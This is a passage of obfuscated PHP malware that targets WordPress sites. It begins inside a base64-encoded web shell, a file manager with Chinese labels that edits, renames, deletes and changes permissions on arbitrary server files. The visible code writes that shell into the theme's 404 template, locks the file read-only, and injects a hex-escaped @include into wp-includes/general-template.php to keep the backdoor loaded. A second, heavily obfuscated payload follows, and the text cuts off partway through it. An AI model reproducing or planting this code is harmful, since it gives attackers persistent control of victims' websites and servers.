sbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij48YnI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjxicj4NCjxicj4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPg0KDQo8L2Zvcm0+JzsNCiAgICB9DQogICAgZWNobyAnPC9jZW50ZXI+JzsNCn1lbHNlew0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9EZWxldGUgZGlyIGFuZCBmaWxlDQogICAgaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gPT0gJ2RlbGV0ZScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCi8vRGVsZXRlIGRpcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdkaXInKXsNCg0KICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9idWF0IGZvbGRlcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdidWF0Jyl7DQogICAgICAgICAgICAkaGFhYSA9ICRfUE9TVFsncGF0aCddOw0KICAgICAgICAgICAgJGhlZWUgPSAkX1BPU1RbJ25hbWUnXTsNCiAgICAgICAgICAgICRob29vID0gIiRoYWFhLyRoZWVlIjsNCiAgICAgICAgICAgICRuZXcgPSAkaGFhYS4nLycuaHRtbHNwZWNpYWxjaGFycygkaGVlZSk7DQogICAgICAgICAgICBpZighbWtkaXIoJG5ldykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuebruW9leWksei0pSE8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paw5bu655uu5b2V5oiQ5YqfISA+Oik8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9EZWxldGUgZmlsZQ0KICAgICAgICBlbHNlaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZmlsZScpew0KDQogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107DQogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCiAgICAgICAgICAgIGlmKHVubGluaygkcGF0Yykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paH5Lu25Yig6Zmk5oiQ5YqfPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlofku7bliKDpmaTlpLHotKU8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBlY2hvICc8L2NlbnRlcj4nOw0KICAgICRzY2FuZGlyID0gc2NhbmRpcigkcGF0aCk7DQogICAgJHBhID0gZ2V0Y3dkKCk7DQogICAgZWNobyAnIDxkaXYgaWQ9ImNvbnRlbnQiPjx0YWJsZSB3aWR0aD0iMTAwJSIgY2xhc3M9InRhYmxlX2hvbWUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCiANCjx0cj4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7Ij48Y2VudGVyPuWQjeensDwvY2VudGVyPjwvdGg+DQo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5aSn5bCPPC9jZW50ZXI+PC90aD4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPg0KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuaTjeS9nOmAiemhuTwvY2VudGVyPjwvdGg+DQo8L3RyPg0KDQoNCiA8dHI+DQo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPg0KPGEgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLmRpcm5hbWUoJHBhdGgpLiciIHN0eWxlPSJkaXNwbGF5OmJsb2NrOyB3aWR0aDoxMDAlOyIgdGl0bGU9IuS4iuS4gOmhtSI+5LiK5LiA6aG1PC9hPg0KPC90ZD48dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+U2l6ZTwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj5DaG1vZDwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4gPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1iYXJ1Jm5hbWU9bmV3LnBocCI+KyDmlrDlu7rmlofku7Y8L2E+IHwgPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1idHcmdHlwZT1kaXIiPisg5paw5bu655uu5b2VPC9hPiA8L3RkPjwvdHI+DQonOw0KDQogICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsNCiAgICAgICAgaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7DQogICAgICAgIGVjaG8gIg0KPHRyPg0KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+RElSPC9jZW50ZXI+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4NCjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPg0KIjsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7DQogICAgICAgIGVjaG8ganVlamlhbmdfcGVybXMoIiRwYXRoLyRkaXIiKTsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPC9mb250Pic7DQoNCiAgICAgICAgZWNobyAiDQo8L2E+DQo8L3RkPg0KDQoNCjx0ZCBjbGFzcz10ZF9ob21lID48Y2VudGVyPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZGlyJm5hbWU9JGRpclwiPumHjeWRveWQjTwvYT4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8YnI+JzsNCiAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsNCiAgICAgICAgaWYoIWlzX2ZpbGUoIiRwYXRoLyRmaWxlIikpIGNvbnRpbnVlOw0KICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCIkcGF0aC8kZmlsZSIpLzEwMjQ7DQogICAgICAgICRzaXplID0gcm91bmQoJHNpemUsMyk7DQogICAgICAgIGlmKCRzaXplID49IDEwMjQpew0KICAgICAgICAgICAgJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICRzaXplID0gJHNpemUuJyBLQic7DQogICAgICAgIH0NCg0KDQogICAgICAgIGVjaG8gIjx0cj4NCjx0ZCBjbGFzcz10ZF9ob21lID4gPGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQXdBQUFBUUNBWUFBQUFpWVo0SEFBQUFDWEJJV1hNQUFBc1RBQUFMRXdFQW1wd1lBQUFLVFdsRFExQlFhRzkwYjNOb2IzQWdTVU5ESUhCeWIyWnBiR1VBQUhqYW5WTjNXSlAzRmo3ZjkyVVBWa0xZOExHWGJJRUFJaU9zQ01nUVdhSVFrZ0JoaEJBU1FNV0ZpQXBXRkJVUm5FaFZ4SUxWQ2tpZGlPS2dLTGhuUVlxSVdvdFZYRGp1SDl5bnRYMTY3KzN0KzlmN3ZPZWM1L3pPZWM4UGdCRVNKcEhtb21vQU9WS0ZQRHJZSDQ5UFNNVEp2WUFDRlVqZ0JDQVE1c3ZDWndYRkFBRHdBM2w0Zm5Td1Avd0JyMjhBQWdCdzFTNGtFc2ZoLzRPNlVDWlhBQ0NSQU9BaUV1Y0xBWkJTQU1ndVZNZ1VBTWdZQUxCVHMyUUtBSlFBQUd4NWZFSWlBS29OQU96MFNUNEZBTmlwazl3WEFOaWlIS2tJQUkwQkFKa29SeVFDUUxzQVlGV0JVaXdDd01JQW9LeEFJaTRFd0s0QmdGbTJNa2NDZ0wwRkFIYU9XSkFQUUdBQWdKbENMTXdBSURnQ0FFTWVFODBESUV3RG9ERFN2K0NwWDNDRnVFZ0JBTURMbGMyWFM5SXpGTGlWMEJwMzh2RGc0aUhpd215eFFtRVhLUkJtQ2VRaW5KZWJJeE5JNXdOTXpnd0FBQnI1MGNIK09EK1E1K2JrNGVabTUyenY5TVdpL212d2J5SStJZkhmL3J5TUFnUUFFRTdQNzlwZjVlWFdBM0RIQWJCMXYydXBXd0RhVmdCbzMvbGRNOXNKb0ZvSzBIcjVpM2s0L0VBZW5xRlF5RHdkSEFvTEMrMGxZcUc5TU9PTFB2OHo0Vy9naTM3Mi9FQWUvdHQ2OEFCeG1rQ1pyY0NqZy8xeFlXNTJybEtPNThzRVFqRnU5K2NqL3NlRmYvMk9LZEhpTkxGY0xCV0s4VmlKdUZBaVRjZDV1VktSUkNISmxlSVM2WDh5OFIrVy9RbVRkdzBBcklaUHdFNjJCN1hMYk1CKzdnRUNpdzVZMG5ZQVFIN3pMWXdhQzVFQUVHYzBNbm4zQUFDVHYvbVBRQ3NCQU0yWHBPTUFBTHpvR0Z5b2xCZE14Z2dBQUVTZ2dTcXdRUWNNd1JTc3dBNmN3UjI4d0JjQ1lRWkVRQXdrd0R3UVFnYmtnQndLb1JpV1FSbFV3RHJZQkxXd0F4cWdFWnJoRUxUQk1UZ041K0FTWElIcmNCY0dZQmlld2hpOGhna0VRY2dJRTJFaE9vZ1JZbzdZSXM0SUY1bU9CQ0poU0RTU2dLUWc2WWdVVVNMRnlIS2tBcWxDYXBGZFNDUHlMWElVT1kxY1FQcVEyOGdnTW9yOGlyeEhNWlNCc2xFRDFBSjFRTG1vSHhxS3hxQnowWFEwRDEyQWxxSnIwUnEwSGoyQXRxS24wVXZvZFhRQWZZcU9ZNERSTVE1bWpObGhYSXlIUldDSldCb214eFpqNVZnMVZvODFZeDFZTjNZVkc4Q2VZZThJSkFLTGdCUHNDRjZFRU1Kc2dwQ1FSMWhNV0VPb0pld2p0Qks2Q0ZjSmc0UXh3aWNpazZoUHRDVjZFdm5FZUdJNnNaQllScXdtN2lFZUlaNGxYaWNPRTErVFNDUU95WkxrVGdvaEpaQXlTUXRKYTBqYlNDMmtVNlErMGhCcG5Fd202NUJ0eWQ3a0NMS0FyQ0NYa2JlUUQ1QlBrdnZKdytTM0ZEckZpT0pNQ2FJa1VxU1VFa28xWlQvbEJLV2ZNa0tab0twUnphbWUxQWlxaURxZldrbHRvSFpRTDFPSHFSTTBkWm9selpzV1E4dWtMYVBWMEpwcFoybjNhQy9wZExvSjNZTWVSWmZRbDlKcjZBZnA1K21EOUhjTURZWU5nOGRJWWlnWmF4bDdHYWNZdHhrdm1VeW1CZE9YbWNoVU1OY3lHNWxubUErWWIxVllLdllxZkJXUnloS1ZPcFZXbFg2VjU2cFVWWE5WUDlWNXFndFVxMVVQcTE1V2ZhWkdWYk5RNDZrSjFCYXIxYWtkVmJ1cE5xN09VbmRTajFEUFVWK2p2bC85Z3ZwakRiS0doVWFnaGtpalZHTzN4aG1OSVJiR01tWHhXRUxXY2xZRDZ5eHJtRTFpVzdMNTdFeDJCZnNiZGk5N1RGTkRjNnBtckdhUlpwM21jYzBCRHNheDRQQTUyWnhLemlIT0RjNTdMUU10UHkyeDFtcXRacTErclRmYWV0cSsybUx0Y3UwVzdldmE3M1Z3blVDZExKMzFPbTA2OTNVSnVqYTZVYnFGdXR0MXorbyswMlByZWVrSjljcjFEdW5kMFVmMWJmU2o5UmZxNzlidjBSODNNRFFJTnBBWmJERTRZL0RNa0dQb2E1aHB1Tkh3aE9Hb0VjdG91cEhFYUtQUlNhTW51Q2J1aDJmak5YZ1hQbWFzYnh4aXJEVGVaZHhyUEdGaWFUTGJwTVNreGVTK0tjMlVhNXBtdXRHMDAzVE16TWdzM0t6WXJNbnNqam5Wbkd1ZVliN1p2TnY4allXbFJaekZTb3MyaThlVzJwWjh5d1dXVFpiM3JKaFdQbFo1VnZWVzE2eEoxbHpyTE90dDFsZHNVQnRYbXd5Yk9wdkx0cWl0bTYzRWRwdHQzeFRpRkk4cDBpbjFVMjdhTWV6ODdBcnNtdXdHN1RuMllmWWw5bTMyengzTUhCSWQxanQwTzN4eWRIWE1kbXh3dk91azRUVERxY1NwdytsWFp4dG5vWE9kOHpVWHBrdVF5eEtYZHBjWFUyMm5pcWR1bjNyTGxlVWE3cnJTdGRQMW81dTdtOXl0MlczVTNjdzl4WDJyKzAwdW14dkpYY005NzBIMDhQZFk0bkhNNDUybm02ZkM4NURuTDE1MlhsbGUrNzBlVDdPY0pwN1dNRzNJMjhSYjRMM0xlMkE2UGoxbCtzN3BBejdHUGdLZmVwK0h2cWErSXQ4OXZpTisxbjZaZmdmOG52czcrc3Y5ai9pLzRYbnlGdkZPQldBQndRSGxBYjJCR29HekEyc0RId1NaQktVSE5RV05CYnNHTHd3K0ZVSU1DUTFaSDNLVGI4QVg4aHY1WXpQY1p5eWEwUlhLQ0owVldodjZNTXdtVEI3V0VZNkd6d2pmRUg1dnB2bE02Y3kyQ0lqZ1IyeUl1QjlwR1prWCtYMFVLU295cWk3cVViUlRkSEYwOXl6V3JPUlorMmU5anZHUHFZeTVPOXRxdG5KMlo2eHFiRkpzWSt5YnVJQzRxcmlCZUlmNFJmR1hFblFUSkFudGllVEUyTVE5aWVOekF1ZHNtak9jNUpwVWxuUmpydVhjb3JrWDV1bk95NTUzUEZrMVdaQjhPSVdZRXBleVArV0RJRUpRTHhoUDVhZHVUUjBUOG9TYmhVOUZ2cUtOb2xHeHQ3aEtQSkxtblZhVjlqamRPMzFEK21pR1QwWjF4ak1KVDFJcmVaRVprcmtqODAxV1JOYmVyTS9aY2RrdE9aU2NsSnlqVWcxcGxyUXIxekMzS0xkUFppc3JrdzNrZWVadHlodVRoOHIzNUNQNWMvUGJGV3lGVE5HanRGS3VVQTRXVEMrb0szaGJHRnQ0dUVpOVNGclVNOTltL3VyNUl3dUNGbnk5a0xCUXVMQ3oyTGg0V2ZIZ0lyOUZ1eFlqaTFNWGR5NHhYVks2WkhocDhOSjl5MmpMc3BiOVVPSllVbFh5YW5uYzhvNVNnOUtscFVNcmdsYzBsYW1VeWN0dXJ2UmF1V01WWVpWa1ZlOXFsOVZiVm44cUY1VmZySENzcUs3NHNFYTQ1dUpYVGwvVmZQVjViZHJhM2txM3l1M3JTT3VrNjI2czkxbS9yMHE5YWtIVjBJYndEYTBiOFkzbEcxOXRTdDUwb1hwcTlZN050TTNLelFNMVlUWHRXOHkyck52eW9UYWo5bnFkZjEzTFZ2MnRxN2UrMlNiYTFyL2RkM3Z6RG9NZEZUdmU3NVRzdkxVcmVGZHJ2VVY5OVc3UzdvTGRqeHBpRzdxLzVuN2R1RWQzVDhXZWozdWxld2YyUmUvcmFuUnZiTnl2djcreUNXMVNObzBlU0RwdzVadUFiOXFiN1pwM3RYQmFLZzdDUWVYQko5K21mSHZqVU9paHpzUGN3ODNmbVgrMzlRanJTSGtyMGpxL2Rhd3RvMjJnUGFHOTcraU1vNTBkWGgxSHZyZi9mdTh4NDJOMXh6V1BWNTZnblNnOThmbmtncFBqcDJTbm5wMU9QejNVbWR4NTkwejhtV3RkVVYyOVowUFBuajhYZE81TXQxLzN5ZlBlNTQ5ZDhMeHc5Q0wzWXRzbHQwdXRQYTQ5UjM1dy9lRklyMXR2NjJYM3krMVhQSzUwOUUzck85SHYwMy82YXNEVmM5ZjQxeTVkbjNtOTc4YnNHN2R1SnQwY3VDVzY5ZmgyOXUwWGR3cnVUTnhkZW85NHIveSsydjNxQi9vUDZuKzAvckZsd0czZytHREFZTS9EV1EvdkRnbUhudjZVLzlPSDRkSkh6RWZWSTBZampZK2RIeDhiRFJxOThtVE9rK0duc3FjVHo4cCtWdjk1NjNPcjU5Lzk0dnRMejFqODJQQUwrWXZQdjY1NXFmTnk3NnVwcnpySEk4Y2Z2TTU1UGZHbS9LM08yMzN2dU8rNjM4ZTlINWtvL0VEK1VQUFIrbVBIcDlCUDl6N25mUDc4TC9lRTgvc2wwcDh6QUFBQUlHTklVazBBQUhvbEFBQ0Fnd0FBK2Y4QUFJRHBBQUIxTUFBQTZtQUFBRHFZQUFBWGI1SmZ4VVlBQUFHNFNVUkJWSGphZkpMUGFoTlJGTVovOTl5WmFiQnhDTk5LaXlnb3hHQ2dsQlpjdUNnSTlnMktMMU5Dd1M1S1g4QW5VTG9TdW5QVnJkdkdnQnVwRVYyNEVXUUNNOG5NNU0rOTE4Vk1SdU9pMytyQ1BkLzVmZWZjcTE3MVhqdTA1VGJadWVIeS9Fd0JlR2pMMjVNVDVzYXdNSWFKWFRWL0dneDRkM1hGMFhIUFhaNmZLUUd3MXJJd2hwa3htT21VUE10SXgyT1NKR0djcHJ3L1BVVjh6ZEZ4ejhrNFRldHVnZFkwZ29CQWF6d1JsQWh4SFBQbTRvSVhuUTZmQjMwOEFCSGhZNzhQd05aNnhLOUp6RzYzQzhETHcwT2N0WVJoeUlmcjY5SUEwRzYzY1ZYK0ppMGFRUUN6R1FDTGYyYnlBTFJTRElmRHVqdkF0Nm9nOGhyRWk0TDl2YjNTVUdRWlNvU25uUTRMYTdsTFZKT1d1bDhVQUJSWlZzM2dIRjl1YnVxQ0pXbHJQU3BwazVpRDdlMktrT2NBN0hhN3pJd3BNLzlIYXRMQzA1b2l6LzhPL2ZQcmQ4S1d6NC9mYVUwQm1FOHovTFU3Nk0zTmtqQXRDclFJRDU0OExrbjNZR1lNRDZNSWF5Mm1vZ0pNaTJLVkFCQzJmUExjNTlIR0JvZ0FZSXhCcXJPM2ZPbUQ1OC9LeXlxM2NRNnRWRzBDR0tjcFhqSWFyYXhRaTJDc0xZc0JKWUpUQ2lWQ01ocWhtanM3enRyYnYvZFNJc0tmQVFEZklzS0h2QVpZWkFBQUFBQkpSVTVFcmtKZ2dnPT0nPg0KDQoiOw0KLy8gPGEgaHJlZj1cIj9BUlJBWT17JEFSUkFZfSZmaWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT4NCiAgICAgICAgZWNobyAiDQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+DQo8L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4iLiRzaXplLiI8L2NlbnRlcj48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOw0KDQoNCg0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOw0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOw0KICAgICAgICBlY2hvICI8L2E+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+DQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPSRwYXRoJm9wdD1lZGl0JnR5cGU9ZmlsZSZuYW1lPSRmaWxlXCI+57yW6L6RPC9hPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+DQo8YSBocmVmPVwiamF2YXNjcmlwdDppZihjb25maXJtKCfnoa7lrp7opoHliKDpmaTlkJc/JykpbG9jYXRpb249Jz9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD17JHBhdGh9Jm9wdD1kZWxldGUmdHlwZT1maWxlJm5hbWU9eyRmaWxlfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8L3RhYmxlPg0KPC9kaXY+JzsNCn0NCmVjaG8gJzxicj48YnI+PGJyPjxicj48L2I+DQo8L2JvZHk+IDwvaHRtbD48L2JvZHk+DQo8L2h0bWw+JzsNCmRpZTsNCmVuZGlmOyAgLy8gPT09PQ0KDQoNCg0KDQoNCg0K"; // WP 404 @chmod($jue_jiang_404_path, 0644); @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404)); @chmod($jue_jiang_404_path, 0444); } $file_general_template_path = $do."wp-includes/general-template.php"; $general_template_code = @file_get_contents($file_general_template_path); $gen_mat = base64_decode("QGluY2x1ZGVbXHNdKyIoXFxbeDAtOV0uKz8pIjs="); $isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false; if (!$isget_mat){ $mc1 = "KGZ1bmN0aW9uW1xzXStnZXRfaGVhZGVyKFtcc10rKT9cKCguKz8peyk="; preg_match_all("/".base64_decode($mc1)."/i",$general_template_code,$pr); $str = "\x" . substr(chunk_split(bin2hex($jue_jiang_404_path), 2, "\x"), 0, -2); $new_general_template = str_replace($pr[0][0],$pr[0][0].PHP_EOL.PHP_EOL." @include \"$str\";",$general_template_code); @file_put_contents($file_general_template_path,$new_general_template); } error_reporting(0); set_time_limit(0); ignore_user_abort(true); $do = "/home/xswop4u1ust1/public_html/"; $open_cache_ruzhu_phpcode = base64_decode("PD9waHAgZXJyb3JfcmVwb3J0aW5nKDApOyAkamN2cyA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRQWkdTPSR7JGpjdnNbMzFdLiRqY3ZzWzU5XS4kamN2c1s0N10uJGpjdnNbNDddLiRqY3ZzWzUxXS4kamN2c1s1M10uJGpjdnNbNTddfTtAKGNvdW50KCRQWkdTKT09MjMmJmluX2FycmF5KGdldHR5cGUoJFBaR1MpLmNvdW50KCRQWkdTKSwkUFpHUykpPygoJFBaR1NbNjldPSRQWkdTWzY5XS4kUFpHU1s3NV0pJiYoJFBaR1NbODldPSRQWkdTWzY5XSgkUFpHU1s4OV0pKSYmKEAkUFpHUz0kUFpHU1s4OV0oJFBaR1NbNjBdLCRQWkdTWzY5XSgkeyRQWkdTWzUwXX1bMjZdKSkpJiYkUFpHUygpKTokUFpHUzsgJG91WFVCdiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRicU1qID0gYXJyYXkoQCR7JG91WFVCdlszMV0uJG91WFVCdls1NV0uJG91WFVCdls1N10uJG91WFVCdls0Ml19WyRvdVhVQnZbNjFdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNjFdLiRvdVhVQnZbMzddXSwgJG91WFVCdlsyN10uJG91WFVCdlsxMl0uJG91WFVCdlsyNV0uJG91WFVCdlsyOV0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyNF0uJG91WFVCdls5XS4kb3VYVUJ2WzE2XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzEwXS4kb3VYVUJ2WzIxXS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzE2XSwgJG91WFVCdlsxMV0uJG91WFVCdlsxMF0uJG91WFVCdlsxMl0uJG91WFVCdlszMV0uJG91WFVCdlsxMl0uJG91WFVCdlsxNV0uJG91WFVCdlsxMF0uJG91WFVCdls3N10uJG91WFVCdls3NV0sICRvdVhVQnZbMjBdLiRvdVhVQnZbMTFdLiRvdVhVQnZbMTVdLiRvdVhVQnZbMTZdLiRvdVhVQnZbMzFdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLiRvdVhVQnZbMjddLiRvdVhVQnZbMTVdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLCRvdVhVQnZbMTRdLiRvdVhVQnZbMjldLiRvdVhVQnZbMjddLiRvdVhVQnZbMTldLCAkb3VYVUJ2WzI4XS4kb3VYVUJ2WzI5XS4kb3VYVUJ2WzExXS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzcyXS4kb3VYVUJ2Wzc0XS4kb3VYVUJ2WzMxXS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XSwgJG91WFVCdlsyNF0uJG91WFVCdlsyMV0uJG91WFVCdlsxOF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyM10uJG91WFVCdlsyNV0uJG91WFVCdlsxMF0uJG91WFVCdlszMV0uJG91WFVCdlsyN10uJG91WFVCdl